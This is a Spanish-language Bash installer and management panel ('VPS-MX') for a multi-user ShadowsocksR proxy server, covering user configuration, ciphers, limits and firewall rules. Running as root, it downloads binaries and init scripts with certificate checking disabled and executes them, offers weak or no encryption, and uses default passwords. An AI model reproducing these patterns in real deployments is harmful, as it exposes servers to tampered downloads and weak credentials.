"(Predeterminado: cancelar):" View_user_port + [[ -z "${View_user_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + View_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${View_user_port}"',') + if [[ ! -z ${View_user} ]]; then + Get_User_info "${View_user_port}" + View_User_info + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +#read -p "Enter para continuar" enter +} +View_User_info(){ + ip=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + [[ -z "${ip}" ]] && Get_IP + ss_ssr_determine + clear + echo -e " Usuario [{user_name}] Informacion de Cuenta:" +msg -bar + echo -e " PANEL VPS-MX By @Kalix1" + + echo -e " IP : ${Green_font_prefix}${ip}${Font_color_suffix}" + + echo -e " Puerto : ${Green_font_prefix}${port}${Font_color_suffix}" + + echo -e " Contraseña : ${Green_font_prefix}${password}${Font_color_suffix}" + + echo -e " Encriptacion : ${Green_font_prefix}${method}${Font_color_suffix}" + + echo -e " Protocol : ${Red_font_prefix}${protocol}${Font_color_suffix}" + + echo -e " Obfs : ${Red_font_prefix}${obfs}${Font_color_suffix}" + + echo -e " Limite de dispositivos: ${Green_font_prefix}${protocol_param}${Font_color_suffix}" + + echo -e " Velocidad de subproceso Unico: ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}" + + echo -e " Velocidad Maxima del Usuario: ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}" + + echo -e " Puertos Prohibido: ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}" + + echo -e " Consumo de sus Datos:\n Carga: ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}" + + echo -e " Trafico Restante: ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}" +msg -bar + echo -e " Trafico Total del Usuario: ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}" +msg -bar + echo -e "${ss_link}" +msg -bar + echo -e "${ssr_link}" +msg -bar + echo -e " ${Green_font_prefix} Nota: ${Font_color_suffix} + En el navegador, abra el enlace del codigo QR, puede\n ver la imagen del codigo QR." +msg -bar +} +#Configuracion de la informacion de configuracion +Set_config_user(){ +msg -bar + echo -ne "\e[92m 1) Ingrese un nombre al usuario que desea Configurar\n (No repetir, o se marcara incorrectamente!)\n" +msg -bar + stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_user + [[ -z "${ssr_user}" ]] && ssr_user="VPS-MX" + echo && echo -e " Nombre de usuario : ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo +} +Set_config_port(){ +msg -bar + while true + do + echo -e "\e[92m 2) Por favor ingrese un Puerto para el Usuario " +msg -bar + stty erase '^H' && read -p "(Predeterminado: 2525):" ssr_port + [[ -z "$ssr_port" ]] && ssr_port="2525" + expr ${ssr_port} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then + echo && echo -e " Port : ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + done +} +Set_config_password(){ +msg -bar + echo -e "\e[92m 3) Por favor ingrese una contrasena para el Usuario" +msg -bar + stty erase '^H' && read -p "(Predeterminado: VPS-MX):" ssr_password + [[ -z "${ssr_password}" ]] && ssr_password="VPS-MX" + echo && echo -e " contrasena : ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo +} +Set_config_method(){ +msg -bar + echo -e "\e[92m 4) Seleccione tipo de Encriptacion para el Usuario\e[0m +$(msg -bar) + ${Green_font_prefix} 1.${Font_color_suffix} Ninguno + ${Green_font_prefix} 2.${Font_color_suffix} rc4 + ${Green_font_prefix} 3.${Font_color_suffix} rc4-md5 + ${Green_font_prefix} 4.${Font_color_suffix} rc4-md5-6 + ${Green_font_prefix} 5.${Font_color_suffix} aes-128-ctr + ${Green_font_prefix} 6.${Font_color_suffix} aes-192-ctr + ${Green_font_prefix} 7.${Font_color_suffix} aes-256-ctr + ${Green_font_prefix} 8.${Font_color_suffix} aes-128-cfb + ${Green_font_prefix} 9.${Font_color_suffix} aes-192-cfb + ${Green_font_prefix}10.${Font_color_suffix} aes-256-cfb + ${Green_font_prefix}11.${Font_color_suffix} aes-128-cfb8 + ${Green_font_prefix}12.${Font_color_suffix} aes-192-cfb8 + ${Green_font_prefix}13.${Font_color_suffix} aes-256-cfb8 + ${Green_font_prefix}14.${Font_color_suffix} salsa20 + ${Green_font_prefix}15.${Font_color_suffix} chacha20 + ${Green_font_prefix}16.${Font_color_suffix} chacha20-ietf + + ${Red_font_prefix}17.${Font_color_suffix} xsalsa20 + ${Red_font_prefix}18.${Font_color_suffix} xchacha20 +$(msg -bar) + ${Tip} Para salsa20/chacha20-*:\n Porfavor instale libsodium:\n Opcion 4 en menu principal SSRR" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 16. chacha20-ietf):" ssr_method +msg -bar + [[ -z "${ssr_method}" ]] && ssr_method="16" + if [[ ${ssr_method} == "1" ]]; then + ssr_method="Ninguno" + elif [[ ${ssr_method} == "2" ]]; then + ssr_method="rc4" + elif [[ ${ssr_method} == "3" ]]; then + ssr_method="rc4-md5" + elif [[ ${ssr_method} == "4" ]]; then + ssr_method="rc4-md5-6" + elif [[ ${ssr_method} == "5" ]]; then + ssr_method="aes-128-ctr" + elif [[ ${ssr_method} == "6" ]]; then + ssr_method="aes-192-ctr" + elif [[ ${ssr_method} == "7" ]]; then + ssr_method="aes-256-ctr" + elif [[ ${ssr_method} == "8" ]]; then + ssr_method="aes-128-cfb" + elif [[ ${ssr_method} == "9" ]]; then + ssr_method="aes-192-cfb" + elif [[ ${ssr_method} == "10" ]]; then + ssr_method="aes-256-cfb" + elif [[ ${ssr_method} == "11" ]]; then + ssr_method="aes-128-cfb8" + elif [[ ${ssr_method} == "12" ]]; then + ssr_method="aes-192-cfb8" + elif [[ ${ssr_method} == "13" ]]; then + ssr_method="aes-256-cfb8" + elif [[ ${ssr_method} == "14" ]]; then + ssr_method="salsa20" + elif [[ ${ssr_method} == "15" ]]; then + ssr_method="chacha20" + elif [[ ${ssr_method} == "16" ]]; then + ssr_method="chacha20-ietf" + elif [[ ${ssr_method} == "17" ]]; then + ssr_method="xsalsa20" + elif [[ ${ssr_method} == "18" ]]; then + ssr_method="xchacha20" + else + ssr_method="aes-256-cfb" + fi + echo && echo -e " Encriptacion: ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo +} +Set_config_protocol(){ +msg -bar + echo -e "\e[92m 5) Por favor, seleccione un Protocolo +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} origin + ${Green_font_prefix}2.${Font_color_suffix} auth_sha1_v4 + ${Green_font_prefix}3.${Font_color_suffix} auth_aes128_md5 + ${Green_font_prefix}4.${Font_color_suffix} auth_aes128_sha1 + ${Green_font_prefix}5.${Font_color_suffix} auth_chain_a + ${Green_font_prefix}6.${Font_color_suffix} auth_chain_b + + ${Red_font_prefix}7.${Font_color_suffix} auth_chain_c + ${Red_font_prefix}8.${Font_color_suffix} auth_chain_d + ${Red_font_prefix}9.${Font_color_suffix} auth_chain_e + ${Red_font_prefix}10.${Font_color_suffix} auth_chain_f +$(msg -bar) + ${Tip}\n Si selecciona el protocolo de serie auth_chain_ *:\n Se recomienda establecer el metodo de cifrado en ninguno" +msg -bar + stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol +msg -bar + [[ -z "${ssr_protocol}" ]] && ssr_protocol="1" + if [[ ${ssr_protocol} == "1" ]]; then + ssr_protocol="origin" + elif [[ ${ssr_protocol} == "2" ]]; then + ssr_protocol="auth_sha1_v4" + elif [[ ${ssr_protocol} == "3" ]]; then + ssr_protocol="auth_aes128_md5" + elif [[ ${ssr_protocol} == "4" ]]; then + ssr_protocol="auth_aes128_sha1" + elif [[ ${ssr_protocol} == "5" ]]; then + ssr_protocol="auth_chain_a" + elif [[ ${ssr_protocol} == "6" ]]; then + ssr_protocol="auth_chain_b" + elif [[ ${ssr_protocol} == "7" ]]; then + ssr_protocol="auth_chain_c" + elif [[ ${ssr_protocol} == "8" ]]; then + ssr_protocol="auth_chain_d" + elif [[ ${ssr_protocol} == "9" ]]; then + ssr_protocol="auth_chain_e" + elif [[ ${ssr_protocol} == "10" ]]; then + ssr_protocol="auth_chain_f" + else + ssr_protocol="origin" + fi + echo && echo -e " Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo + if [[ ${ssr_protocol} != "origin" ]]; then + if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then + stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn + [[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y" + [[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible" + echo + fi + fi +} +Set_config_obfs(){ +msg -bar + echo -e "\e[92m 6) Por favor, seleccione el metodo OBFS +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} plain + ${Green_font_prefix}2.${Font_color_suffix} http_simple + ${Green_font_prefix}3.${Font_color_suffix} http_post + ${Green_font_prefix}4.${Font_color_suffix} random_head + ${Green_font_prefix}5.${Font_color_suffix} tls1.2_ticket_auth +$(msg -bar) + Si elige tls1.2_ticket_auth, entonces el cliente puede\n elegir tls1.2_ticket_fastauth!" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs + [[ -z "${ssr_obfs}" ]] && ssr_obfs="5" + if [[ ${ssr_obfs} == "1" ]]; then + ssr_obfs="plain" + elif [[ ${ssr_obfs} == "2" ]]; then + ssr_obfs="http_simple" + elif [[ ${ssr_obfs} == "3" ]]; then + ssr_obfs="http_post" + elif [[ ${ssr_obfs} == "4" ]]; then + ssr_obfs="random_head" + elif [[ ${ssr_obfs} == "5" ]]; then + ssr_obfs="tls1.2_ticket_auth" + else + ssr_obfs="tls1.2_ticket_auth" + fi + echo && echo -e " obfs : ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo + msg -bar + if [[ ${ssr_obfs} != "plain" ]]; then + stty erase '^H' && read -p "Configurar modo Compatible (Para usar SS)? [y/n]: " ssr_obfs_yn + [[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y" + [[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible" + fi +} +Set_config_protocol_param(){ +msg -bar + while true + do + echo -e "\e[92m 7) Limitar Cantidad de Dispositivos Simultaneos\n ${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix}" +msg -bar + echo -e "${Tip} Limite de numero de dispositivos:\n Es el numero de clientes que usaran la cuenta\n el minimo recomendado 2." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param + [[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break + expr ${ssr_protocol_param} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then + echo && echo -e " Limite del dispositivo: ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + done +} +Set_config_speed_limit_per_con(){ +msg -bar + while true + do + echo -e "\e[92m 8) Introduzca un Limite de Velocidad x Hilo (en KB/S)" +msg -bar + stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con +msg -bar + [[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break + expr ${ssr_speed_limit_per_con} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then + echo && echo -e " Velocidad de Subproceso Unico: ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_speed_limit_per_user(){ +msg -bar + while true + do + echo -e "\e[92m 9) Introduzca un Limite de Velocidad Maxima (en KB/S)" +msg -bar + echo -e "${Tip} Limite de Velocidad Maxima del Puerto :\n Es la velocidad maxima que ira el Usuario." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user + [[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break + expr ${ssr_speed_limit_per_user} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then + echo && echo -e " Velocidad Maxima del Usuario : ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_transfer(){ +msg -bar + while true + do + echo -e "\e[92m 10) Ingrese Cantidad Total de Datos para el Usuario\n (en GB, 1-838868 GB)" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer + [[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break + expr ${ssr_transfer} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then + echo && echo -e " Trafico Total Para El Usuario: ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + done +} +Set_config_forbid(){ +msg -bar + echo "PROIBIR PUERTOS" +msg -bar + echo -e "${Tip} Puertos prohibidos:\n Por ejemplo, si no permite el acceso al puerto 25, los\n usuarios no podran acceder al puerto de correo 25 a\n traves del proxy de SSR. Si 80,443 esta desactivado,\n los usuarios no podran acceda a los sitios\n http/https normalmente." +msg -bar + stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid + [[ -z "${ssr_forbid}" ]] && ssr_forbid="" + echo && echo -e " Puerto prohibido: ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo +} +Set_config_enable(){ + user_total=$(expr ${user_total} - 1) + for((integer = 0; integer <= ${user_total}; integer++)) + do + echo -e "integer=${integer}" + port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}") + echo -e "port_jq=${port_jq}" + if [[ "${ssr_port}" == "${port_jq}" ]]; then + enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}") + echo -e "enable=${enable}" + [[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1 + ssr_port_num=$(cat "${config_user_mudb_file}"|grep -n '"puerto": '${ssr_port}','|awk -F ":" '{print $1}') + echo -e "ssr_port_num=${ssr_port_num}" + [[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actual Puerto [${ssr_port}] Numero de filas fallidas!" && exit 1 + ssr_enable_num=$(expr ${ssr_port_num} - 5) + echo -e "ssr_enable_num=${ssr_enable_num}" + break + fi + done + if [[ "${enable}" == "1" ]]; then + echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="0" + else + echo -e "Cancelado...\n$(msg -bar)" && exit 0 + fi + elif [[ "${enable}" == "0" ]]; then + echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="1" + else + echo "Cancelar ..." && exit 0 + fi + else + echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1 + fi +} +Set_user_api_server_pub_addr(){ + addr=$1 + if [[ "${addr}" == "Modify" ]]; then + server_pub_addr=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + if [[ -z ${server_pub_addr} ]]; then + echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1 + else + echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}" + fi + fi + echo "Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracion del usuario (cuando el servidor tiene varias IP, puede especificar la IP o el nombre de dominio que se muestra en la configuracion del usuario)" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr + if [[ -z "${ssr_server_pub_addr}" ]]; then + Get_IP + if [[ ${ip} == "VPS_IP" ]]; then + while true + do + stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr + if [[ -z "$ssr_server_pub_addr" ]]; then + echo -e "${Error}No puede estar vacio!" + else + break + fi + done + else + ssr_server_pub_addr="${ip}" + fi + fi + echo && msg -bar && echo -e " IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && msg -bar && echo +} +Set_config_all(){ + lal=$1 + if [[ "${lal}" == "Modify" ]]; then + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + else + Set_config_user + Set_config_port + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + fi +} +#Modificar la informacin de configuracin +Modify_config_password(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_method(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion ms reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_obfs(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol_param(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Parametros de negociacin del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_con(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_user(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Usuario Puerto la modificacin del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Usuario Puerto limite de velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_connect_verbose_info(){ + sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file} +} +Modify_config_transfer(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_forbid(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_enable(){ + sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file} +} +Modify_user_api_server_pub_addr(){ + sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file} +} +Modify_config_all(){ + Modify_config_password + Modify_config_method + Modify_config_protocol + Modify_config_obfs + Modify_config_protocol_param + Modify_config_speed_limit_per_con + Modify_config_speed_limit_per_user + Modify_config_transfer + Modify_config_forbid +} +Check_python(){ + python_ver=`python -h` + if [[ -z ${python_ver} ]]; then + echo -e "${Info} No instalo Python, comience a instalar ..." + if [[ ${release} == "centos" ]]; then + yum install -y python + else + apt-get install -y python + fi + fi +} +Centos_yum(){ + yum update + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + yum install -y vim unzip crond net-tools git + else + yum install -y vim unzip crond git + fi +} +Debian_apt(){ + apt-get update + apt-get install -y vim unzip cron git net-tools +} +#Descargar ShadowsocksR +Download_SSR(){ + cd "/usr/local" + # wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip" + #git config --global http.sslVerify false + git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1 + # [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # unzip "manyuser.zip" + # [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresin del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/" + # [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1 + # rm -rf manyuser.zip + cd "shadowsocksr" + cp "${ssr_folder}/config.json" "${config_user_file}" + cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json" + cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}" + [[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1 + sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file} + server_pub_addr="127.0.0.1" + Modify_user_api_server_pub_addr + #sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file} + sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}" + echo -e "${Info} Descarga del servidor ShadowsocksR completa!" +} +Service_SSR(){ + if [[ ${release} = "centos" ]]; then + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + chkconfig --add ssrmu + chkconfig ssrmu on + else + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracin de servicio de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + update-rc.d -f ssrmu defaults + fi + echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!" +} +#Instalar el analizador JQ +JQ_install(){ + if [[ ! -e ${jq_file} ]]; then + cd "${ssr_folder}" + if [[ ${bit} = "x86_64" ]]; then + # mv "jq-linux64" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file} + else + # mv "jq-linux32" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file} + fi + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1 + chmod +x ${jq_file} + echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..." + else + echo -e "${Info} JQ parser esta instalado, continuar ..." + fi +} +#Instalacion +Installation_dependency(){ + if [[ ${release} == "centos" ]]; then + Centos_yum + else + Debian_apt + fi + [[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1 + Check_python + #echo "nameserver 8.8.8.8" > /etc/resolv.conf + #echo "nameserver 8.8.4.4" >> /etc/resolv.conf + cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime + if [[ ${release} == "centos" ]]; then + /etc/init.d/crond restart + else + /etc/init.d/cron restart + fi +} +Install_SSR(){ +clear + check_root + msg -bar + [[ -e ${ssr_folder} ]] && echo -e "${Error}\nLa carpeta ShadowsocksR ha sido creada, por favor verifique\n(si la instalacion falla, desinstalela primero) !\n$(msg -bar)" && exit 1 + echo -e "${Info}\nComience la configuracion de la cuenta de ShadowsocksR..." +msg -bar + Set_user_api_server_pub_addr + Set_config_all + echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..." + Installation_dependency + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..." + Download_SSR + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..." + Service_SSR + echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..." + JQ_install + echo -e "${Info} Comience a agregar usuario inicial ..." + Add_port_user "install" + echo -e "${Info} Empezar a configurar el firewall de iptables ..." + Set_iptables + echo -e "${Info} Comience a agregar reglas de firewall de iptables ..." + Add_iptables + echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..." + Save_iptables + echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..." + Start_SSR + Get_User_info 